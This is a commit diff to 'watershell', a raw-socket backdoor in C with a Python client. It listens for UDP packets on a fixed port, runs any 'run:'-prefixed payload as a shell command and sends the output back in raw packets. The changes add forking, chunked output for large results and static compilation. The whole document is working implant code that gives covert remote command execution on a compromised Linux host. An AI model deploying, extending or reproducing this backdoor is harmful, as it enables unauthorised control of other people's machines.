Added forking support, support for larger command outputs, and other improvements

Makefile

@@ -1,8 +1,16 @@
 # Small makefile to make compiling watershell easier to do
 # TODO implement C and Linker FLAGS if desired
 
+COMPILER=gcc
+
+all: watershell
+
+debug:
+	$(COMPILER) watershell.c -DDEBUG=1 -static -o watershell
+
+.PHONY: watershell
 watershell:
-	gcc watershell.c -o $@
+	$(COMPILER) watershell.c -o watershell -static
 
 clean:
 	rm watershell *.o

watershell-cli.py

@@ -94,6 +94,9 @@ def execute_cmd_prompt(sock, target):
         if cmd == 'exit':
             break
         if len(cmd) > 1 :
+            if len(cmd) >= 1400:
+                print("Command is too big! (must be <=1400)")
+            else:
                 sock.sendto(("run:"+cmd).encode(), target)
                 resp = recv_timeout(sock, 4)
                 print(resp)

watershell.c

@@ -26,6 +26,7 @@
 #ifndef DEBUG
 #define DEBUG false
 #endif
+
 /* COMMAND LINE ARGS WILL OVERRIDE THESE */
 
 #include <net/if.h>
@@ -39,7 +40,7 @@
 #include <sys/ioctl.h>
 #include <string.h>
 #include <arpa/inet.h>
-#include <linux/if_ether.h>
+#include <netinet/if_ether.h>
 #include <linux/if_packet.h>
 #include <linux/filter.h>
 #include <fcntl.h>
@@ -59,7 +60,7 @@ int main(int argc, char *argv[])
 {
     int i, n, hlen, arg;
     struct sock_fprog filter;
-    char buf[2048];
+    char recv_buf[RECV_BUFFER_SIZE];
     unsigned char *read;
     char *udpdata;
     struct iphdr *ip;
@@ -148,23 +149,39 @@ int main(int argc, char *argv[])
                    &filter, sizeof(filter)) < 0)
         if (DEBUG) perror("setsockopt");
 
+
+    signal(SIGCHLD, SIG_IGN);
+
     //sniff forever!
     for (;;){
-        memset(buf, 0, 2048);
+        memset(recv_buf, 0, RECV_BUFFER_SIZE);
+        
         //get a packet, and tear it apart, look for keywords
-        n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
+        n = recvfrom(sockfd, recv_buf, RECV_BUFFER_SIZE, 0, NULL, NULL);
-        ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
+        ip = (struct iphdr *)(recv_buf + sizeof(struct ethhdr));
-        udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
+        udp = (struct udphdr *)(recv_buf + ip->ihl*4 + sizeof(struct ethhdr));
-        udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
+        udpdata = (char *)((recv_buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
-
 
+        printf("Got something\n");
         //checkup on the service, make sure it is still there
         if(!strncmp(udpdata, "status:", 7)){
-            send_status(buf, "up");
+            printf("Doing the status\n");
+            send_status(recv_buf, "up");
         }
 
         //run a command if the data is prefixed with run:
         if (!strncmp(udpdata, "run:", 4)){
+            // Make a copy for the fork, child will free
+            char * recv_copy = malloc(RECV_BUFFER_SIZE);
+            memcpy(recv_copy, recv_buf, RECV_BUFFER_SIZE);
+
+            ip = (struct iphdr *)(recv_copy + sizeof(struct ethhdr));
+            udp = (struct udphdr *)(recv_copy + ip->ihl*4 + sizeof(struct ethhdr));
+            udpdata = (char *)((recv_copy + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
+
+            pid_t fork_pid = fork();
+
+            if (fork_pid == 0) {
                 printf("Doing the thing: %s\n", udpdata);
                 int out = open("/dev/null", O_WRONLY);
                 int err = open("/dev/null", O_WRONLY);
@@ -173,28 +190,45 @@ int main(int argc, char *argv[])
 
                 FILE *fd;
                 fd = popen(udpdata + 4, "r");
-            if (!fd) return -1;
+                if (!fd) {
+                    return 1;
+                }
 
-            char buffer[256];
+                char buffer[RECV_BUFFER_SIZE];
                 size_t chread;
                 /* String to store entire command contents in */
-            size_t comalloc = 256;
+                size_t comalloc = RECV_BUFFER_SIZE;
                 size_t comlen   = 0;
                 char *comout   = malloc(comalloc);
 
                 /* Use fread so binary data is dealt with correctly */
                 while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
+                    printf("1\n");
                     if (comlen + chread >= comalloc) {
                         comalloc *= 2;
                         comout = realloc(comout, comalloc);
                     }
                     memmove(comout + comlen, buffer, chread);
                     comlen += chread;
+                    printf("2\n");
+                }
+                if (DEBUG) {
+                    printf("Sending %s", comout);
                 }
                 pclose(fd);
-            send_status(buf, comout);
+                close(out);
+                close(err);
+                send_status(recv_copy, comout);
+                free(recv_copy);
+                free(comout);
+                return 0;
+            } else {
+                if (DEBUG) {
+                    printf("Forked to %d\n", fork_pid);
+                }
 
             }   
+	}
 
     }
     return 0;
@@ -264,7 +298,7 @@ void sigint(int signum){
     //shut it down!
     free(sifreq);
     close(sockfd);
-    //exit(1);
+    exit(0);
 }
 
 //send a reply
@@ -274,17 +308,29 @@ void send_status(unsigned char *buf, char *payload){
     struct sockaddr_in sin;
     int len;
 
-
-    //setup the data
-    memset(&frame, 0, sizeof(frame));
-    strncpy(frame.data, payload, strlen(payload));
-
     //get the ifindex
     if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
         if (DEBUG) perror("ioctl SIOCGIFINDEX");
         return;
     }
 
+    uint32_t full_size = strlen(payload);
+
+    div_t div_res = div(full_size, SEND_CHUNK_SIZE);
+    int chunk_count = div_res.quot+1;
+    
+    for (uint32_t i = 0; i < chunk_count; i++) {
+        
+        uint32_t send_size = SEND_CHUNK_SIZE;
+        if (i == chunk_count-1) {
+            send_size = strnlen(payload+(i*SEND_CHUNK_SIZE), SEND_CHUNK_SIZE);
+        }
+        //setup the data
+        memset(&frame, 0, sizeof(frame));
+        uint64_t offset =  i*SEND_CHUNK_SIZE;
+        memcpy(frame.data, payload+(offset), send_size);
+
+        
         //layer 2
         saddrll.sll_family = PF_PACKET;
         saddrll.sll_ifindex = sifreq->ifr_ifindex;
@@ -301,7 +347,7 @@ void send_status(unsigned char *buf, char *payload){
         frame.ip.frag_off |= htons(IP_DF);
         frame.ip.ttl = 64;
         frame.ip.tos = 0;
-    frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload));
+        frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + send_size);
         frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
         frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
         frame.ip.protocol = IPPROTO_UDP;
@@ -309,17 +355,19 @@ void send_status(unsigned char *buf, char *payload){
         //layer 4
         frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
         frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
-    frame.udp.len = htons(strlen(payload) + sizeof(frame.udp));
+        frame.udp.len = htons(send_size + sizeof(frame.udp));
 
         //checksums
         //udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
         ip_checksum(&frame.ip);
 
         //calculate total length and send
-    len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload);
+        len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + send_size;
         sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
     }
 
+}
+
 /* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
 //broken.
 void udp_checksum(struct iphdr *ip, unsigned short *payload){

watershell.h

@@ -16,6 +16,11 @@
  */
 #ifndef WATERSHELL_H_
 #define WATERSHELL_H_
+
+
+#define RECV_BUFFER_SIZE 4096
+#define SEND_CHUNK_SIZE (ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr))
+
 /* BPF code generated with tcpdump -dd udp and port 12345
  * used to filter incoming packets at the socket level
  */
@@ -49,7 +54,7 @@ struct __attribute__((__packed__)) udpframe {
     struct ethhdr ehdr;
     struct iphdr ip;
     struct udphdr udp;
-    unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
+    unsigned char data[SEND_CHUNK_SIZE];
 };
 
 void send_status(unsigned char *buf, char *payload);